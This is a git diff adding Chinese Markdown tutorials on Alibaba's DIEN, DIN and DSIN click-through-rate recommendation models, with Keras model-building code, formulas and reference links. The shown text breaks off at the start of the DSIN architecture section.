+    # 将Input层转化为列表的形式作为model的输入
+    input_layers = list(input_layer_dict.values())       # 各个输入层
+    user_behavior_length = input_layer_dict["hist_len"]
+    
+    # 筛选出特征中的sparse_fea, dense_fea, varlen_fea
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), feature_columns)) if feature_columns else []
+    dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), feature_columns)) if feature_columns else []
+    varlen_sparse_feature_columns = list(filter(lambda x: isinstance(x, VarLenSparseFeat), feature_columns)) if feature_columns else []
+    
+    # 获取dense
+    dnn_dense_input = []
+    for fc in dense_feature_columns:
+        dnn_dense_input.append(input_layer_dict[fc.name])
+
+    # 将所有的dense特征拼接
+    dnn_dense_input = concat_input_list(dnn_dense_input)
+
+    # 构建embedding字典
+    embedding_layer_dict = build_embedding_layers(feature_columns, input_layer_dict)
+    
+    # 因为这里最终需要将embedding拼接后直接输入到全连接层(Dense)中, 所以需要Flatten
+    dnn_sparse_embed_input = concat_embedding_list(sparse_feature_columns, input_layer_dict, embedding_layer_dict, flatten=True)
+    # 将所有sparse特征的embedding进行拼接
+    dnn_sparse_input = concat_input_list(dnn_sparse_embed_input)
+    
+    # 获取当前的行为特征(movie)的embedding，这里有可能有多个行为产生了行为序列，所以需要使用列表将其放在一起
+    query_embed_list = embedding_lookup(behavior_feature_list, input_layer_dict, embedding_layer_dict)
+    # 获取行为序列(movie_id序列, hist_movie_id) 对应的embedding，这里有可能有多个行为产生了行为序列，所以需要使用列表将其放在一起
+    keys_embed_list = embedding_lookup(behavior_seq_feature_list, input_layer_dict, embedding_layer_dict)
+    # 把q,k的embedding拼在一块
+    query_emb, keys_emb = concat_input_list(query_embed_list), concat_input_list(keys_embed_list)
+    
+    # 采样的负行为
+    neg_uiseq_embed_list = embedding_lookup(neg_seq_feature_list, input_layer_dict, embedding_layer_dict)
+    neg_concat_behavior = concat_input_list(neg_uiseq_embed_list)
+    
+    # 兴趣进化层的计算过程
+    dnn_seq_input, aux_loss = interest_evolution(keys_emb, query_emb, user_behavior_length, neg_concat_behavior, gru_type="AUGRU")
+    
+    # 后面的全连接层
+    deep_input_embed = Concatenate()([dnn_dense_input, dnn_sparse_input, dnn_seq_input])
+    
+    # 获取最终dnn的logits
+    dnn_logits = get_dnn_logits(deep_input_embed, activation='prelu')
+    model = Model(input_layers, dnn_logits)
+    
+    # 加兴趣提取层的损失  这个比例可调
+    if use_neg_sample:
+        model.add_loss(alpha * aux_loss)
+        
+    # 所有变量需要初始化
+    tf.compat.v1.keras.backend.get_session().run(tf.compat.v1.global_variables_initializer())
+    return model
+```
+
+关于每一块的细节，这里就不解释了，在我们给出的GitHub代码中，我们已经加了非常详细的注释，大家看那个应该很容易看明白， 为了方便大家的阅读，我们这里还给大家画了一个整体的模型架构图，帮助大家更好的了解每一块以及前向传播。（画的图不是很规范，先将就看一下，后面我们会统一在优化一下这个手工图）。
+
+下面是一个通过keras画的模型结构图，为了更好的显示，数值特征和类别特征都只是选择了一小部分，画图的代码也在github中（看不清的话可以自己用代码生成之后使用其他的软件打开看）。
+
+> 下面这个图失效了
+<div align=center>
+此处无图
+</div>
+
+## 思考
+1. 对于知乎上大佬们对DIEN的探讨，你有什么看法呢？[也评Deep Interest Evolution Network](https://zhuanlan.zhihu.com/p/54838663)
+
+
+**参考资料**
+- [deepctr](https://github.com/shenweichen/DeepCTR) 
+- [原论文](https://arxiv.org/pdf/1809.03672.pdf) 
+- [论文阅读-阿里DIEN深度兴趣进化网络之总体解读](https://mp.weixin.qq.com/s/IlVZCVtDco3hWuvnsUmekg)
+- [也评Deep Interest Evolution Network](https://zhuanlan.zhihu.com/p/54838663) 
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md
new file mode 100644
index 0000000..dc104de
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md
@@ -0,0 +1,177 @@
+# DIN
+## 动机
+Deep Interest Network(DIIN)是2018年阿里巴巴提出来的模型， 该模型基于业务的观察，从实际应用的角度进行改进，相比于之前很多“学术风”的深度模型， 该模型更加具有业务气息。该模型的应用场景是阿里巴巴的电商广告推荐业务， 这样的场景下一般**会有大量的用户历史行为信息**， 这个其实是很关键的，因为DIN模型的创新点或者解决的问题就是使用了注意力机制来对用户的兴趣动态模拟， 而这个模拟过程存在的前提就是用户之前有大量的历史行为了，这样我们在预测某个商品广告用户是否点击的时候，就可以参考他之前购买过或者查看过的商品，这样就能猜测出用户的大致兴趣来，这样我们的推荐才能做的更加到位，所以这个模型的使用场景是**非常注重用户的历史行为特征（历史购买过的商品或者类别信息）**，也希望通过这一点，能够和前面的一些深度学习模型对比一下。
+
+在个性化的电商广告推荐业务场景中，也正式由于用户留下了大量的历史交互行为，才更加看出了之前的深度学习模型(作者统称Embeding&MLP模型)的不足之处。如果学习了前面的各种深度学习模型，就会发现Embeding&MLP模型对于这种推荐任务一般有着差不多的固定处理套路，就是大量稀疏特征先经过embedding层， 转成低维稠密的，然后进行拼接，最后喂入到多层神经网络中去。 
+
+这些模型在这种个性化广告点击预测任务中存在的问题就是**无法表达用户广泛的兴趣**，因为这些模型在得到各个特征的embedding之后，就蛮力拼接了，然后就各种交叉等。这时候根本没有考虑之前用户历史行为商品具体是什么，究竟用户历史行为中的哪个会对当前的点击预测带来积极的作用。 而实际上，对于用户点不点击当前的商品广告，很大程度上是依赖于他的历史行为的，王喆老师举了个例子
+
+>假设广告中的商品是键盘， 如果用户历史点击的商品中有化妆品， 包包，衣服， 洗面奶等商品， 那么大概率上该用户可能是对键盘不感兴趣的， 而如果用户历史行为中的商品有鼠标， 电脑，iPad，手机等， 那么大概率该用户对键盘是感兴趣的， 而如果用户历史商品中有鼠标， 化妆品， T-shirt和洗面奶， 鼠标这个商品embedding对预测“键盘”广告的点击率的重要程度应该大于后面的那三个。
+
+这里也就是说如果是之前的那些深度学习模型，是没法很好的去表达出用户这广泛多样的兴趣的，如果想表达的准确些， 那么就得加大隐向量的维度，让每个特征的信息更加丰富， 那这样带来的问题就是计算量上去了，毕竟真实情景尤其是电商广告推荐的场景，特征维度的规模是非常大的。 并且根据上面的例子， 也**并不是用户所有的历史行为特征都会对某个商品广告点击预测起到作用**。所以对于当前某个商品广告的点击预测任务，没必要考虑之前所有的用户历史行为。 
+
+这样， DIN的动机就出来了，在业务的角度，我们应该自适应的去捕捉用户的兴趣变化，这样才能较为准确的实施广告推荐；而放到模型的角度， 我们应该**考虑到用户的历史行为商品与当前商品广告的一个关联性**，如果用户历史商品中很多与当前商品关联，那么说明该商品可能符合用户的品味，就把该广告推荐给他。而一谈到关联性的话， 我们就容易想到“注意力”的思想了， 所以为了更好的从用户的历史行为中学习到与当前商品广告的关联性，学习到用户的兴趣变化， 作者把注意力引入到了模型，设计了一个"local activation unit"结构，利用候选商品和历史问题商品之间的相关性计算出权重，这个就代表了对于当前商品广告的预测，用户历史行为的各个商品的重要程度大小， 而加入了注意力权重的深度学习网络，就是这次的主角DIN， 下面具体来看下该模型。
+
+## DIN模型结构及原理
+在具体分析DIN模型之前， 我们还得先介绍两块小内容，一个是DIN模型的数据集和特征表示， 一个是上面提到的之前深度学习模型的基线模型， 有了这两个， 再看DIN模型，就感觉是水到渠成了。
+
+### 特征表示
+工业上的CTR预测数据集一般都是`multi-group categorial form`的形式，就是类别型特征最为常见，这种数据集一般长这样：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210118190044920.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" style="zoom: 67%;" />
+</div>
+
+这里的亮点就是框出来的那个特征，这个包含着丰富的用户兴趣信息。
+
+对于特征编码，作者这里举了个例子：`[weekday=Friday, gender=Female, visited_cate_ids={Bag,Book}, ad_cate_id=Book]`， 这种情况我们知道一般是通过one-hot的形式对其编码， 转成系数的二值特征的形式。但是这里我们会发现一个`visted_cate_ids`， 也就是用户的历史商品列表， 对于某个用户来讲，这个值是个多值型的特征， 而且还要知道这个特征的长度不一样长，也就是用户购买的历史商品个数不一样多，这个显然。这个特征的话，我们一般是用到multi-hot编码，也就是可能不止1个1了，有哪个商品，对应位置就是1， 所以经过编码后的数据长下面这个样子： 
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210118185933510.png" style="zoom:67%;" />
+</div>
+这个就是喂入模型的数据格式了，这里还要注意一点 就是上面的特征里面没有任何的交互组合，也就是没有做特征交叉。这个交互信息交给后面的神经网络去学习。
+
+### 基线模型
+
+这里的base 模型，就是上面提到过的Embedding&MLP的形式， 这个之所以要介绍，就是因为DIN网络的基准也是他，只不过在这个的基础上添加了一个新结构(注意力网络)来学习当前候选广告与用户历史行为特征的相关性，从而动态捕捉用户的兴趣。
+
+基准模型的结构相对比较简单，我们前面也一直用这个基准， 分为三大模块：Embedding layer，Pooling & Concat layer和MLP， 结构如下:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210118191224464.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" style="zoom:80%;" />
+</div>
+
+前面的大部分深度模型结构也是遵循着这个范式套路， 简介一下各个模块。
+
+1. **Embedding layer**：这个层的作用是把高维稀疏的输入转成低维稠密向量， 每个离散特征下面都会对应着一个embedding词典， 维度是$D\times K$， 这里的$D$表示的是隐向量的维度， 而$K$表示的是当前离散特征的唯一取值个数,  这里为了好理解，这里举个例子说明，就比如上面的weekday特征：
+	
+>  假设某个用户的weekday特征就是周五，化成one-hot编码的时候，就是[0,0,0,0,1,0,0]表示，这里如果再假设隐向量维度是D， 那么这个特征对应的embedding词典是一个$D\times7$的一个矩阵(每一列代表一个embedding，7列正好7个embedding向量，对应周一到周日)，那么该用户这个one-hot向量经过embedding层之后会得到一个$D\times1$的向量，也就是周五对应的那个embedding，怎么算的，其实就是$embedding矩阵* [0,0,0,0,1,0,0]^T$ 。其实也就是直接把embedding矩阵中one-hot向量为1的那个位置的embedding向量拿出来。 这样就得到了稀疏特征的稠密向量了。其他离散特征也是同理，只不过上面那个multi-hot编码的那个，会得到一个embedding向量的列表，因为他开始的那个multi-hot向量不止有一个是1，这样乘以embedding矩阵，就会得到一个列表了。通过这个层，上面的输入特征都可以拿到相应的稠密embedding向量了。
+
+2. **pooling layer and Concat layer**： pooling层的作用是将用户的历史行为embedding这个最终变成一个定长的向量，因为每个用户历史购买的商品数是不一样的， 也就是每个用户multi-hot中1的个数不一致，这样经过embedding层，得到的用户历史行为embedding的个数不一样多，也就是上面的embedding列表$t_i$不一样长， 那么这样的话，每个用户的历史行为特征拼起来就不一样长了。 而后面如果加全连接网络的话，我们知道，他需要定长的特征输入。 所以往往用一个pooling layer先把用户历史行为embedding变成固定长度(统一长度)，所以有了这个公式：
+$$
+  e_i=pooling(e_{i1}, e_{i2}, ...e_{ik})
+$$
+这里的$e_{ij}$是用户历史行为的那些embedding。$e_i$就变成了定长的向量， 这里的$i$表示第$i$个历史特征组(是历史行为，比如历史的商品id，历史的商品类别id等)， 这里的$k$表示对应历史特种组里面用户购买过的商品数量，也就是历史embedding的数量，看上面图里面的user behaviors系列，就是那个过程了。 Concat layer层的作用就是拼接了，就是把这所有的特征embedding向量，如果再有连续特征的话也算上，从特征维度拼接整合，作为MLP的输入。
+
+3. **MLP**：这个就是普通的全连接，用了学习特征之间的各种交互。
+
+4. **Loss**: 由于这里是点击率预测任务， 二分类的问题，所以这里的损失函数用的负的log对数似然：
+$$
+L=-\frac{1}{N} \sum_{(\boldsymbol{x}, y) \in \mathcal{S}}(y \log p(\boldsymbol{x})+(1-y) \log (1-p(\boldsymbol{x})))
+$$
+
+这就是base 模型的全貌， 这里应该能看出这种模型的问题， 通过上面的图也能看出来， 用户的历史行为特征和当前的候选广告特征在全都拼起来给神经网络之前，是一点交互的过程都没有， 而拼起来之后给神经网络，虽然是有了交互了，但是原来的一些信息，比如，每个历史商品的信息会丢失了一部分，因为这个与当前候选广告商品交互的是池化后的历史特征embedding， 这个embedding是综合了所有的历史商品信息， 这个通过我们前面的分析，对于预测当前广告点击率，并不是所有历史商品都有用，综合所有的商品信息反而会增加一些噪声性的信息，可以联想上面举得那个键盘鼠标的例子，如果加上了各种洗面奶，衣服啥的反而会起到反作用。其次就是这样综合起来，已经没法再看出到底用户历史行为中的哪个商品与当前商品比较相关，也就是丢失了历史行为中各个商品对当前预测的重要性程度。最后一点就是如果所有用户浏览过的历史行为商品，最后都通过embedding和pooling转换成了固定长度的embedding，这样会限制模型学习用户的多样化兴趣。
+
+那么改进这个问题的思路有哪些呢？  第一个就是加大embedding的维度，增加之前各个商品的表达能力，这样即使综合起来，embedding的表达能力也会加强， 能够蕴涵用户的兴趣信息，但是这个在大规模的真实推荐场景计算量超级大，不可取。 另外一个思路就是**在当前候选广告和用户的历史行为之间引入注意力的机制**，这样在预测当前广告是否点击的时候，让模型更关注于与当前广告相关的那些用户历史产品，也就是说**与当前商品更加相关的历史行为更能促进用户的点击行为**。 作者这里又举了之前的一个例子：
+> 想象一下，当一个年轻母亲访问电子商务网站时，她发现展示的新手袋很可爱，就点击它。让我们来分析一下点击行为的驱动力。<br><br>展示的广告通过软搜索这位年轻母亲的历史行为，发现她最近曾浏览过类似的商品，如大手提袋和皮包，从而击中了她的相关兴趣
+
+第二个思路就是DIN的改进之处了。DIN通过给定一个候选广告，然后去注意与该广告相关的局部兴趣的表示来模拟此过程。 DIN不会通过使用同一向量来表达所有用户的不同兴趣，而是通过考虑历史行为的相关性来自适应地计算用户兴趣的表示向量（对于给的广告）。 该表示向量随不同广告而变化。下面看一下DIN模型。
+
+### DIN模型架构
+
+上面分析完了base模型的不足和改进思路之后，DIN模型的结构就呼之欲出了，首先，它依然是采用了基模型的结构，只不过是在这个的基础上加了一个注意力机制来学习用户兴趣与当前候选广告间的关联程度， 用论文里面的话是，引入了一个新的`local activation unit`， 这个东西用在了用户历史行为特征上面， **能够根据用户历史行为特征和当前广告的相关性给用户历史行为特征embedding进行加权**。我们先看一下它的结构，然后看一下这个加权公式。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210118220015871.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" style="zoom: 80%;" />
+</div>
+
+这里改进的地方已经框出来了，这里会发现相比于base model， 这里加了一个local activation unit， 这里面是一个前馈神经网络，输入是用户历史行为商品和当前的候选商品， 输出是它俩之间的相关性， 这个相关性相当于每个历史商品的权重，把这个权重与原来的历史行为embedding相乘求和就得到了用户的兴趣表示$\boldsymbol{v}_{U}(A)$, 这个东西的计算公式如下：
+$$
+\boldsymbol{v}_{U}(A)=f\left(\boldsymbol{v}_{A}, \boldsymbol{e}_{1}, \boldsymbol{e}_{2}, \ldots, \boldsymbol{e}_{H}\right)=\sum_{j=1}^{H} a\left(\boldsymbol{e}_{j}, \boldsymbol{v}_{A}\right) \boldsymbol{e}_{j}=\sum_{j=1}^{H} \boldsymbol{w}_{j} \boldsymbol{e}_{j}
+$$
+这里的$\{\boldsymbol{v}_{A}, \boldsymbol{e}_{1}, \boldsymbol{e}_{2}, \ldots, \boldsymbol{e}_{H}\}$是用户$U$的历史行为特征embedding， $v_{A}$表示的是候选广告$A$的embedding向量， $a(e_j, v_A)=w_j$表示的权重或者历史行为商品与当前广告$A$的相关性程度。$a(\cdot)$表示的上面那个前馈神经网络，也就是那个所谓的注意力机制， 当然，看图里的话，输入除了历史行为向量和候选广告向量外，还加了一个它俩的外积操作，作者说这里是有利于模型相关性建模的显性知识。
+
+这里有一点需要特别注意，就是这里的权重加和不是1， 准确的说这里不是权重， 而是直接算的相关性的那种分数作为了权重，也就是平时的那种scores(softmax之前的那个值)，这个是为了保留用户的兴趣强度。
+
+## DIN实现
+
+下面我们看下DIN的代码复现，这里主要是给大家说一下这个模型的设计逻辑，参考了deepctr的函数API的编程风格， 具体的代码以及示例大家可以去参考后面的GitHub，里面已经给出了详细的注释， 这里主要分析模型的逻辑这块。关于函数API的编程式风格，我们还给出了一份文档， 大家可以先看这个，再看后面的代码部分，会更加舒服些。下面开始：
+
+这里主要和大家说一下DIN模型的总体运行逻辑，这样可以让大家从宏观的层面去把握模型的编写过程。该模型所使用的数据集是movielens数据集， 具体介绍可以参考后面的GitHub。 因为上面反复强调了DIN的应用场景，需要基于用户的历史行为数据， 所以在这个数据集中会有用户过去对电影评分的一系列行为。这在之前的数据集中往往是看不到的。 大家可以导入数据之后自行查看这种行为特征(hist_behavior)。另外还有一点需要说明的是这种历史行为是序列性质的特征， 并且**不同的用户这种历史行为特征长度会不一样**， 但是我们的神经网络是要求序列等长的，所以这种情况我们一般会按照最长的序列进行padding的操作(不够长的填0)， 而到具体层上进行运算的时候，会用mask掩码的方式标记出这些填充的位置，好保证计算的准确性。 在我们给出的代码中，大家会在AttentionPoolingLayer层的前向传播中看到这种操作。下面开始说编写逻辑：
+
+首先， DIN模型的输入特征大致上分为了三类： Dense(连续型), Sparse(离散型),  VarlenSparse(变长离散型)，也就是指的上面的历史行为数据。而不同的类型特征也就决定了后面处理的方式会不同：
+
+* Dense型特征：由于是数值型了，这里为每个这样的特征建立Input层接收这种输入， 然后拼接起来先放着，等离散的那边处理好之后，和离散的拼接起来进DNN
+* Sparse型特征，为离散型特征建立Input层接收输入，然后需要先通过embedding层转成低维稠密向量，然后拼接起来放着，等变长离散那边处理好之后， 一块拼起来进DNN， 但是这里面要注意有个特征的embedding向量还得拿出来用，就是候选商品的embedding向量，这个还得和后面的计算相关性，对历史行为序列加权。
+* VarlenSparse型特征：这个一般指的用户的历史行为特征，变长数据， 首先会进行padding操作成等长， 然后建立Input层接收输入，然后通过embedding层得到各自历史行为的embedding向量， 拿着这些向量与上面的候选商品embedding向量进入AttentionPoolingLayer去对这些历史行为特征加权合并，最后得到输出。
+
+通过上面的三种处理， 就得到了处理好的连续特征，离散特征和变长离散特征， 接下来把这三种特征拼接，进DNN网络，得到最后的输出结果即可。所以有了这个解释， 就可以放DIN模型的代码全貌了，大家可以感受下我上面解释的：
+
+```python
+# DIN网络搭建
+def DIN(feature_columns, behavior_feature_list, behavior_seq_feature_list):
+    """
+    这里搭建DIN网络，有了上面的各个模块，这里直接拼起来
+    :param feature_columns: A list. 里面的每个元素是namedtuple(元组的一种扩展类型，同时支持序号和属性名访问组件)类型，表示的是数据的特征封装版
+    :param behavior_feature_list: A list. 用户的候选行为列表
+    :param behavior_seq_feature_list: A list. 用户的历史行为列表
+    """
+    # 构建Input层并将Input层转成列表作为模型的输入
+    input_layer_dict = build_input_layers(feature_columns)
+    input_layers = list(input_layer_dict.values())
+    
+    # 筛选出特征中的sparse和Dense特征， 后面要单独处理
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), feature_columns))
+    dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), feature_columns))
+    
+    # 获取Dense Input
+    dnn_dense_input = []
+    for fc in dense_feature_columns:
+        dnn_dense_input.append(input_layer_dict[fc.name])
+    
+    # 将所有的dense特征拼接
+    dnn_dense_input = concat_input_list(dnn_dense_input)   # (None, dense_fea_nums)
+    
+    # 构建embedding字典
+    embedding_layer_dict = build_embedding_layers(feature_columns, input_layer_dict)
+
+    # 离散的这些特特征embedding之后，然后拼接，然后直接作为全连接层Dense的输入，所以需要进行Flatten
+    dnn_sparse_embed_input = concat_embedding_list(sparse_feature_columns, input_layer_dict, embedding_layer_dict, flatten=True)
+    
+    # 将所有的sparse特征embedding特征拼接
+    dnn_sparse_input = concat_input_list(dnn_sparse_embed_input)   # (None, sparse_fea_nums*embed_dim)
+    
+    # 获取当前行为特征的embedding， 这里有可能有多个行为产生了行为列表，所以需要列表将其放在一起
+    query_embed_list = embedding_lookup(behavior_feature_list, input_layer_dict, embedding_layer_dict)
+    
+    # 获取历史行为的embedding， 这里有可能有多个行为产生了行为列表，所以需要列表将其放在一起
+    keys_embed_list = embedding_lookup(behavior_seq_feature_list, input_layer_dict, embedding_layer_dict)
+    # 使用注意力机制将历史行为的序列池化，得到用户的兴趣
+    dnn_seq_input_list = []
+    for i in range(len(keys_embed_list)):
+        seq_embed = AttentionPoolingLayer()([query_embed_list[i], keys_embed_list[i]])  # (None, embed_dim)
+        dnn_seq_input_list.append(seq_embed)
+    
+    # 将多个行为序列的embedding进行拼接
+    dnn_seq_input = concat_input_list(dnn_seq_input_list)  # (None, hist_len*embed_dim)
+    
+    # 将dense特征，sparse特征， 即通过注意力机制加权的序列特征拼接起来
+    dnn_input = Concatenate(axis=1)([dnn_dense_input, dnn_sparse_input, dnn_seq_input]) # (None, dense_fea_num+sparse_fea_nums*embed_dim+hist_len*embed_dim)
+    
+    # 获取最终的DNN的预测值
+    dnn_logits = get_dnn_logits(dnn_input, activation='prelu')
+    
+    model = Model(inputs=input_layers, outputs=dnn_logits)
+    
+    return model
+```
+
+关于每一块的细节，这里就不解释了，在我们给出的GitHub代码中，我们已经加了非常详细的注释，大家看那个应该很容易看明白， 为了方便大家的阅读，我们这里还给大家画了一个整体的模型架构图，帮助大家更好的了解每一块以及前向传播。（画的图不是很规范，先将就看一下，后面我们会统一在优化一下这个手工图）。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片DIN_aaaa.png" alt="DIN_aaaa" style="zoom: 70%;" />
+</div>
+
+下面是一个通过keras画的模型结构图，为了更好的显示，数值特征和类别特征都只是选择了一小部分，画图的代码也在github中。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片din.png" alt="DIN_aaaa" style="zoom: 50%;" />
+</div>
+
+## 思考
+DIN模型在工业上的应用还是比较广泛的， 大家可以自由去通过查资料看一下具体实践当中这个模型是怎么用的？ 有什么问题？比如行为序列的制作是否合理， 如果时间间隔比较长的话应不应该分一下段？ 再比如注意力机制那里能不能改成别的计算注意力的方式会好点？(我们也知道注意力机制的方式可不仅DNN这一种)， 再比如注意力权重那里该不该加softmax？  这些其实都是可以值的思考探索的一些问题，根据实际的业务场景，大家也可以总结一些更加有意思的工业上应用该模型的技巧和tricks，欢迎一块讨论和分享。
+
+**参考资料**
+* [DIN原论文](https://arxiv.org/pdf/1706.06978.pdf)
+* [deepctr](https://github.com/shenweichen/DeepCTR)
+* [AI上推荐 之 AFM与DIN模型（当推荐系统遇上了注意力机制）](https://blog.csdn.net/wuzhongqiang/article/details/109532346)
+* 王喆 - 《深度学习推荐系统》
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md
new file mode 100644
index 0000000..3a8dd0d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md
@@ -0,0 +1,731 @@
+## 写在前面
+DSIN全称是Deep Session Interest Network(深度会话兴趣网络)， 重点在这个Session上，这个是在DIEN的基础上又进行的一次演化，这个模型的改进出发点依然是如何通过用户的历史点击行为，从里面更好的提取用户的兴趣以及兴趣的演化过程，这个模型就是从user历史行为信息挖掘方向上进行演化的。而提出的动机呢？ 就是作者发现用户的行为序列的组成单位，其实应该是会话(按照用户的点击时间划分开的一段行为)，每个会话里面的点击行为呢？ 会高度相似，而会话与会话之间的行为，就不是那么相似了，但是像DIN，DIEN这两个模型，DIN的话，是直接忽略了行为之间的序列关系，使得对用户的兴趣建模或者演化不是很充分，而DIEN的话改进了DIN的序列关系的忽略缺点，但是忽视了行为序列的本质组成结构。所以阿里提出的DSIN模型就是从行为序列的组成结构会话的角度去进行用户兴趣的提取和演化过程的学习，在这个过程中用到了一些新的结构，比如Transformer中的多头注意力，比如双向LSTM结构，再比如前面的局部Attention结构。
+
+
+## DSIN模型的理论以及论文细节
+### DSIN的简介与进化动机
+DSIN模型全称叫做Deep Session Interest Network， 这个是阿里在2019年继DIEN之后的一个新模型， 这个模型依然是研究如何更好的从用户的历史行为中捕捉到用户的动态兴趣演化规律。而这个模型的改进动机呢？ 就是作者认为之前的序列模型，比如DIEN等，忽视了序列的本质结构其实是由会话组成的：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310143019924.png#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+这是个啥意思呢？  其实举个例子就非常容易明白DIEN存在的问题了(DIN这里就不说了，这个存在的问题在DIEN那里说的挺详细了，这里看看DIEN有啥问题)，上一篇文章中我们说DIEN为了能够更好的利用用户的历史行为信息，把序列模型引进了推荐系统，用来学习用户历史行为之间的关系， 用兴趣提取层来学习各个历史行为之间的关系，而为了更有针对性的模拟与目标广告相关的兴趣进化路径，又在兴趣提取层后面加了注意力机制和兴趣进化层网络。这样理论上就感觉挺完美的了啊。这里依然是把DIEN拿过来，也方便和后面的DSIN对比：<br>
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210221165854948.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+但这个模型存在个啥问题呢？  **就是只关注了如何去改进网络，而忽略了用户历史行为序列本身的特点**， 其实我们仔细想想的话，用户过去可能有很多历史点击行为，比如`[item3, item45, item69, item21, .....]`， 这个按照用户的点击时间排好序了，既然我们说用户的兴趣是非常广泛且多变的，那么这一大串序列的商品中，往往出现的一个规律就是**在比较短的时间间隔内的商品往往会很相似，时间间隔长了之后，商品之间就会出现很大的差别**，这个是很容易理解的，一个用户在半个小时之内的浏览点击的几个商品的相似度和一个用户上午点击和晚上点击的商品的相似度很可能是不一样的。这其实就是作者说的`homogeneous`和`heterogeneous`。而DIEN模型呢？ 它并没有考虑这个问题，而是会直接把这一大串行为序列放入GRU让它自己去学(当然我们其实可以人工考虑这个问题，然后如果发现序列很长的话我们也可以分成多个样本哈，当然这里不考虑这个问题)，如果一大串序列一块让GRU学习的话，往往用户的行为快速改变和突然终止的序列会有很多噪声点，不利于模型的学习。
+
+所以，作者这里就是从序列本身的特点出发， 把一个用户的行为序列分成了多个会话，所谓会话，其实就是按照时间间隔把序列分段，每一段的商品列表就是一个会话，那这时候，会话里面每个商品之间的相似度就比较大了，而会话与会话之间商品相似度就可能比较小。作者这里给了个例子：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20210310144926564.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+这是某个用户过去的历史点击行为，然后按照30分钟的时间间隔进行的分段，分成了3段。这里就一下子看出上面说的那些是啥意思了吧。就像这个女生，前30分钟在看裤子，再过30分钟又停留在了化妆品，又过30分钟，又看衣服。这种现象是非常普遍的啊，反映了一个用户通常在某个会话里面会有非常单一的兴趣但是当过一段时间之后，兴趣就会突然的改变。这个时候如果再统一的考虑所有行为就不合理了呀。**这其实也是DSIN改进的动机了**， DSIN，这次的关键就是在S上。
+
+那它要怎么改呢？ 如果是我们的话应该怎么改呢？  那一定会说，这个简单啊，不是说DIEN没考虑序列本身的特点吗？ 既然我们发现了上面用户点击行为的这种会话规律，那么我们把序列进行分段，然后再用DIEN不就完事了？ 哈哈， 那当然可以呀， 如果想用DIEN的话确实可以这么玩， 但那样就没有新模型了啊，那不还是DIEN？  这样的改进思路是没法发顶会的哟哈哈。 下面分析下人家是怎么改进的。
+
+简单的说是用了四步，这个也是DSIN模型的整体逻辑：
+
+1. 首先， 分段这个是必须的了吧，也就是在用户行为序列输入到模型之前，要按照固定的时间间隔(比如30分钟)给他分开段，每一段里面的商品序列称为一个会话Session。  这个叫做**会话划分层**
+
+2. 然后呢，就是学习商品时间的依赖关系或者序列关系，由于上面把一个整的行为序列划分成了多段，那么在这里就是每一段的商品时间的序列关系要进行学习，当然我们说可以用GRU， 不过这里作者用了**多头的注意力机制**，这个东西是在**多个角度研究一个会话里面各个商品的关联关系**， 相比GRU来讲，没有啥梯度消失，并且可以并行计算，比GRU可强大多了。这个叫做**会话兴趣提取层**
+3. 上面研究了会话内各个商品之间的关联关系，接下来就是研究会话与会话之间的关系了，虽然我们说各个会话之间的关联性貌似不太大，但是可别忘了会话可是能够表示一段时间内用户兴趣的， 所以研究会话与会话的关系其实就是在学习用户兴趣的演化规律，这里用了**双向的LSTM**，不仅看从现在到未来的兴趣演化，还能学习未来到现在的变化规律， 这个叫做**会话交互层**。
+4. 既然会话内各个商品之间的关系学到了，会话与会话之间的关系学到了，然后呢？ 当然也是针对性的模拟与目标广告相关的兴趣进化路径了， 所以后面是**会话兴趣局部激活层**， 这个就是注意力机制， 每次关注与当前商品更相关的兴趣。
+
+所以，我们细品一下，其实DSIN和思路和DIEN的思路是差不多的，无非就是用了一些新的结构，这样，我们就从宏观上感受了一波这个模型。接下来，研究架构细节了。 看看上面那几块到底是怎么玩的。
+
+### DSIN的架构剖析
